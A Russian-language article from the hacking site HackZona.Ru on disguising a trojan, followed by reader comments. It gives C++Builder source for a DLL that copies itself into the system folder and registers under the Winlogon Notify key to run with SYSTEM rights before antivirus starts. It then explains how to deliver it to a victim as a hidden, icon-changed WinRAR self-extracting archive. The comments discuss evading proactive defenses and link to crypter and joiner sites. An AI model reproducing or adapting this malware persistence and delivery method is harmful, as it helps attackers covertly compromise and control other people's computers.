маскируем трояна — HackZona.Ru

маскируем трояна

маскируем трояна

Тип статьи:
Со старой ХакЗоны.
И так прошу не судить строго это моя первая статья

Итак что нам нужно от маскировки трояна?

1. обход антивирусов
2. невидимость в процессах

Начнем со второго
для начала откажитесь от мысли прятать исполняемый файл, даже если вы спрячите его от таскменегера, то есть куча различных утилит позволяющих его узреть. Значит мы пришли к выводу что делать будем не екзешник (забегу вперед и скажу что после небольших действий в конце концов жертве вы будете впаривать всеже екзе файл)

Итак приступим как сделать так чтобы наш трой не был отдельным процессом да написать его в виде dll и попросить winlogon загружать его. таким образом наш код будет стартовать раньше антивирусов и файерволов, и иметь права winloghon'a а это system.

итак приступим (я писал в cbuildere):

#include <vcl.h>
#include <process.h>
#include <stddef.h>
#include <windows.h>
#include <ExtCtrls.hpp>
#pragma comment(lib,«MEMMGR.LIB»)
#pragma hdrstop

typedef struct _WLX_NOTIFICATION_INFO
{
ULONG Size ;
ULONG Flags ;
PWSTR UserName ;
PWSTR Domain ;
PWSTR WindowStation ;
HANDLE hToken ;
HDESK hDesktop ;
int pStatusCallback ;
} WLX_NOTIFICATION_INFO, * PWLX_NOTIFICATION_INFO ;

extern «C» __declspec(dllexport) LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo);
//---
#pragma argsused
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
return 1;
}
//---------------------------------------------------------------------------
void install(String sys)
{
TRegistry *reg = new TRegistry(KEY_WRITE);
char name[MAX_PATH];
String str;
try
{
//копирование в системную папку
GetModuleFileName(HInstance, name, sizeof(name));
if (sys!=ExtractFileDir(name))
{
str=ExtractFileName(name);
str=sys+""+str;
CopyFile(name,str.c_str(),0);
ShellExecute((void *)0,«open»,str.c_str(),NULL,NULL,0);
ExitProcess(0);
}
//добавление в автозапуск
reg->RootKey=HKEY_LOCAL_MACHINE;
reg->OpenKey(«software»,true);
reg->OpenKey(«Microsoft»,true);
reg->OpenKey(«Windows NT»,true);
reg->OpenKey(«CurrentVersion»,true);
reg->OpenKey(«Winlogon»,true);
reg->OpenKey(«Notify»,true);
reg->OpenKey(«ms32»,true);
reg->WriteString(«DLLName»,name);
reg->WriteString(«Startup»,«load»);
reg->WriteInteger(«Impersonate»,1);
reg->WriteInteger(«Asynchronous»,1);
reg->WriteInteger(«MaxWait»,1);
}
__finally{}
delete reg;
}
//---------------------------------------------------------------------------
LRESULT CALLBACK load(_WLX_NOTIFICATION_INFO pinfo)
{
char sysdir[MAX_PATH];
GetSystemDirectory(sysdir,MAX_PATH);
install(sysdir);

//здесь код вашего трояна
}


вот он не сложный код для вашего будущего коня

основная функции должена принимать параметр типа "_WLX_NOTIFICATION_INFO" иначе winlogon не будет с ней работать
(причем совершенно не обязательно чтобы она с ним работала ;) )
далее мы прописываем в реестре несколько нужных нам строк дабы winlogon общался с нашей dll.

А теперь как ее превратить в исполняемый файл (ведь не понесете же вы ее к жертве в виде dll)
на самом деле это совершенно просто мы создадим sfx архив.
1. Это уменьшит вес нашего файла раза в 2.
2. позволит первый раз запустить нашу лошадку как exe

добавляем в архив (я пользуюсь winrar'ом), максимальный, sfx.
В параметрах пишем:
путь для распаковки %windir%
после распаковки выплнить rundll32 имя dll, имя функции(в нашем случае load).
далее просим скрыть все процессы
и перезаписывать без вопросов
меняем иконку

и все трой готов
Нравится
Не нравится

12 комментариев

16:10
Ну, во-первых про обход антивирусов, я что-то так ничего и не нашёл )= Во-вторых примерно то же самое можно делать с эксплорером и если затрагивалась эта тема, то я думаю стоило рассмотреть как можно больше возможных вариантов достижения цели, а не останавливаться на одном. Ну и в-третьих в данном случае не оч удобно работать с сетью.
19:48
Антивирусы нас даже если и найдут то несмогут нечего сделать. потому как для того чтобы завершить библиотеку надо вырубать winlogon а он в отличие от explorera является критическим и его завершение ведет к перезагрузке. еще я выбрал winlogon потому как он грузиться на равне с системой а експлорер только после входа конкретного пользователя и соответственно не имеет прав. Да и проги типа starter позволяют увидеть кто привязался к експлореру
02:48
Ну во-первых трой на mfs уже -1. Во-вторых где обход антивируса? Наоборот он себя палит пытаясь влезть в winlogon, любая проактивка ловит OpenProcess(). Да и не красиво это, сбой во внедряемом коде уронит систему, а если уж на то пошло, то надо было в csrss.exe пихать, согласись логичнее?! Да и про контроль компонентов забыл, хотя до этого дело не дойдёт, проактивку не пробьёшь.
11:51
ты видимо читал не внимательно. Где ты нашел openproces? Привязка идет прописью в реестре. И проактивка этого не палит. Да и за собой мы нечего не валим. В том то и дело что система не даст себя вырубить и если вырубить winlogon, то система уйдет в перезагрузку и после стартанет опять с троем. единственный способ его убить это удалить его из реестра и перезагрузиться.
15:00
Не знаю, что у тебя за проактивка, но аутпост следит за правкой реестра. Плюс драйверы режима ядра грузятся раньше чем любой *.exe, на момент их загрузки ещё не доступны API юзермода(Солдатов в руки). В данном случае под падением системы я подрузомевал потерю несохранённых данных(хотя довод глупый, любая программа данного "жанра" несёт в себе подобный риск, иначе и быть не может). И комменты у меня такого тона в большей степени из-за того, что мне кажется очень плохой тенденцией воспитывать юный говно-трояно-кодеров, а не программистов. И маленькое уточнение- код библиотеки будет выполняться сразу в собственном потоке или его надо создавать?
Убить его можно и проще- выгружаем dll, удаляем её и ключ! Как видишь перезагрузка не требуется.
19:30
Да вроде сразу в отдельном потоке, хотя утверждать не буду.
А разве возможно выгрузить dll код которой исполняется в текущий момент?
А насчет проактивки я имел в виду не то что она совсем не палит реестр, а палит лиш важные ветки и эту (почемуто) вродебы таковой не считает.
И насчет оутпоста грузиться он раньше, а вот подгружает политики позже ;) тоесть наш трой открывает порт раньше чем его блокируют (хотя потом он его все равно заблочит, но мона успеть подключиться).
А тематика статьи вродебы не расходиться с тематикой портала (хотя название говно-трояно-кодер мне нравиться предлагаю так и называть скрипткидеров ;))
20:31
По поводу отдельного потока... Это очень важный момент, ведь трой может работать в фоновом режиме и если нет отдельного потока, то минимум обилие багов это обеспечит(скорее всего это сделает практически невозможным работу в ОСи).
По поводу выгрузки dll я как-то не задумывался(просто не вижу преград), вечером попробую(крайний срок завтра) и отпишу.
Ну а контроль компонентов не жалуется на левую dll в адресном пространстве?
SVCHOST.exe может устанавливать любые подключения.
01:32
Mrak-Den, dll можно выгрузить во время исполнения(выгружал ntdll.dll).
10:59
контроль не жалуется ведь левая длл подгружается после перезапуска. И трой работает в фоне я проверял.
16:56
а че не попробовать криптор http://hackeram.ucoz.ru/publ/1 а потом еще и джойнером склеить http://hackeram.ucoz.ru/dir/
18:32
Для маскировки трояна вот тут есть еще информация http://hakerim.ucoz.ru/dir/
V1S
19:26
незнаю, нелегче, как я делаю, скрыть в задачах и панели, + прогу назвать например system, или чот в етом роде.